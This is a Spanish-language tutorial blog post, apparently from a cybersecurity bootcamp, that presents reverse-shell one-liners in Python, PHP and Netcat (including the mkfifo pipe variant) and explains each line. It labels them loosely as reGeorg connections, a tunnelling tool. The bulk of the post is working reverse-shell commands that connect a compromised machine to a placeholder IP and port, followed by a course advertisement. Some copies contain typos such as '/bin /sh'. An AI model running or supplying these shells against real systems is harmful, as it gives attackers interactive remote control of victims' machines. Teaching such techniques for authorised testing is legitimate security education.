Existen múltiples formas de establecer conexiones inversas con reGeorg, una vez el Red Team cuenta con la posibilidad de ejecutar comandos en la máquina u ordenador que esté comprometido. Algunas de las Conexiones inversas con reGeorg más comunes son:
- #Python:
python -c ' import
socket, subprocess, os; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect ((
"<IF>", <puerto>)); os.dup2 (s.fileno (), 0); os.dup2 (s.fileno (), 1);
os.dup2 (s.fileno (), 2); p = subprocess.call (["/bin /sh", "-i"]); '
- #PHP:
php -r '$sock = fsockopen ("<IP>", <puerto>); exec ("/bin /sh -i <&3 >&3 >&3 2>&3");'
- #Netcat:
nc -e /bin /sh <IP> <puerto>
rm /tmp /f ; mkfifo /tmp /f ; cat /tmp / f | /bin /sh -i 2>&1 | nc <IP> <puerto> >/tmp /f
En este post, veremos cómo funciona cada una de ellas.

Conexiones inversas con reGeorg
Python
El código desglosado de la primera de las conexiones inversas con reGeorg, hecha con Python, sería:
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Crear un objeto de socket
s.connect(("<IF>", <puerto>)) #Conectar el socket a una dirección IP y puerto específicos
os.dup2(s.fileno(), 0) #Duplicar el descriptor de archivo del socket en el descriptor de archivo 0 (entrada estándar)
os.dup2(s.fileno(), 1) #Duplicar el descriptor de archivo del socket en el descriptor de archivo 1 (salida estándar)
os.dup2(s.fileno(), 2) #Duplicar el descriptor de archivo del socket en el descriptor de archivo 2 (error estándar)
p = subprocess.call(["/bin/sh", "-i"]) #Ejecutar el shell interactivo en el sistema
Lo que sucede con la primera de las conexiones inversas con reGeorg es:
- Se importan los módulos necesarios:
socket,subprocessyos. Estos módulos proporcionan funcionalidades para crear sockets, ejecutar comandos del sistema y manipular descriptores de archivo. - Se crea un objeto de socket utilizando
socket.socket(socket.AF_INET, socket.SOCK_STREAM). Esto crea un socket TCP/IP. - Se establece una conexión utilizando el método
s.connect(("IP", puerto)), donde debes reemplazar<IF>con la dirección IP o nombre del host y<puerto>con el número de puerto al que deseas conectarte. - A continuación, se utilizan los métodos
os.dup2()para duplicar el descriptor de archivo del socket en los descriptores de archivo 0, 1 y 2. Esto redirige la entrada estándar, salida estándar y error estándar al socket. - Finalmente, se utiliza
subprocess.call()para ejecutar el shell interactivo en el sistema. Esto permite ejecutar comandos en el sistema remoto a través del socket.
PHP
El código desglosado de la segunda de las conexiones inversas con reGeorg, hecha con PHP, sería:
$sock = fsockopen("<IP>", <puerto>); //Abrir una conexión de socket a una dirección IP y puerto específicos
exec("/bin/sh -i <&3 >&3 >&3 2>&3"); //Ejecutar el shell interactivo en el sistema
Podríamos explicar el código del siguiente modo:
- Se utiliza la función
fsockopen("<IP>", <puerto>)para abrir una conexión de socket a una dirección IP y puerto específicos. Debes reemplazar<IP>con la dirección IP o nombre del host al que deseas conectarte y<puerto>con el número de puerto al que deseas conectarte. - A continuación, se utiliza la función
exec()para ejecutar un comando en el sistema. En este caso, el comando que se ejecuta es"/bin/sh -i <&3 >&3 >&3 2>&3". Este comando ejecuta un shell interactivo en el sistema.
Netcat
🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴
Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada
👉 Prueba gratis el Bootcamp en Ciberseguridad por una semanaEl código intenta establecer conexiones inversas con reGeorg entre dos máquinas a través de una red. Veamos cómo funciona:
nc -e /bin/sh <IP> <puerto>: esto inicia el comandonc(Netcat) con la opción-epara ejecutar un programa; en este caso,/bin/sh(el shell de Unix) en la máquina remota identificada con<IP>y<puerto>. Esto permite la ejecución remota de comandos en la máquina objetivo.rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> <puerto> >/tmp/f: este comando utiliza tuberías y redirecciones para establecer una conexión inversa de shell. Comienza eliminando un archivo/tmp/fsi existe. Luego, crea un nuevo archivo FIFO (first-in, first-out) llamado/tmp/futilizandomkfifo. Después, utilizacatpara leer los datos de/tmp/fy redirigirlos a/bin/sh -i, que es otro intento de invocar el shell interactivo. A continuación, redirige la entrada y salida estándar de este proceso shell anc <IP> <puerto>.
Cabe aclarar que estas conexiones inversas con reGeorg pueden llegar a ser muy peligrosas si no se usan adecuadamente, de ahí que se resalte la importancia de usarlas con fines éticos. Si te ha gustado el tema y quieres aprender más, accede a nuestro Ciberseguridad Full Stack Bootcamp para convertirte en todo un profesional de la seguridad informática en poco tiempo. Con esta formación de alta intensidad, nuestros profesores expertos te enseñarán a nivel teórico y práctico para catapultarte en el mercado laboral. ¡Pide ya mismo más información y da el paso que cambiará tu futuro!
